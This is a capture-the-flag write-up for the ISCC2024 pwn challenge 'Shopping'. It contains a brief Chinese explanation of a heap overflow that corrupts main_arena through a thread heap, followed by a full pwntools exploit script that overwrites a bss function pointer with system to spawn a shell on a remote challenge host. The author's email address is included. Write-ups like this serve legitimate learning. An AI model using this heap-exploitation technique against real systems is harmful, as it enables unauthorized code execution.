# ISCC2024 WriteUp

AkyOI+李承达+3433778745@qq.com

### Pwn+Shopping

### 解题思路（必须包含文字说明+截图）

这里有堆溢出漏洞，经远程发现libc版本为2.23

由于pthread开了新线程，而且线程的堆段和main\_arena的段地址相邻，可以溢出到下一个段内修改main\_arena从而达到申请bss上的堆块的效果，再利用其修改bss上面的函数指针为system从而达到调用system(“/bin/sh”)的作用。

### Exp（如有，请粘贴完整代码，不允许截图！）

# sudo sysctl -w kernel.randomize\_va\_space=0

from pwn import\*

from Crypto.Util.number import long\_to\_bytes,bytes\_to\_long

context.log\_level='debug'

context(arch='amd64',os='linux')

context.terminal=['tmux','splitw','-h']

pwn = './4'

p=remote('182.92.237.102',10019)

#p=process(['./ld-2.31.so', pwn], env={"LD\_PRELOAD":'./libc-2.31.so'})

# p=process('./4')

# gdb.attach(p,"b \*0x400e01")

#elf=ELF(pwn)

#libc=ELF('./libc.so.6')

def add\_chunk(chunksize,number,meaagsetext=''):

p.sendlineafter('Action:','1')

p.sendlineafter('Item ID: ',str(chunksize).encode())

p.sendlineafter('Quantity: ',str(number).encode())

if meaagsetext == '':

p.sendlineafter('Add gift message? (0/1): ','0')

else:

p.sendlineafter('Add gift message? (0/1): ','1')

p.sendafter('Message: ',meaagsetext)

system = 0x400978

p.sendlineafter('password:',"I'm ready for shopping")

for i in range(12):

add\_chunk(0x4000,1000)

add\_chunk(0x4000,262,'x'\*0x3FF0)

payload=b'x'\*0x50+p32(0)+p32(3)+10\*p64(0x60201d)

pause()

p.send(payload)

payload=b'/bin/sh'.ljust(11,b'\x00')+p64(system)

payload=payload.ljust(0x60,b'x')

add\_chunk(0x60,0,payload)

p.interactive()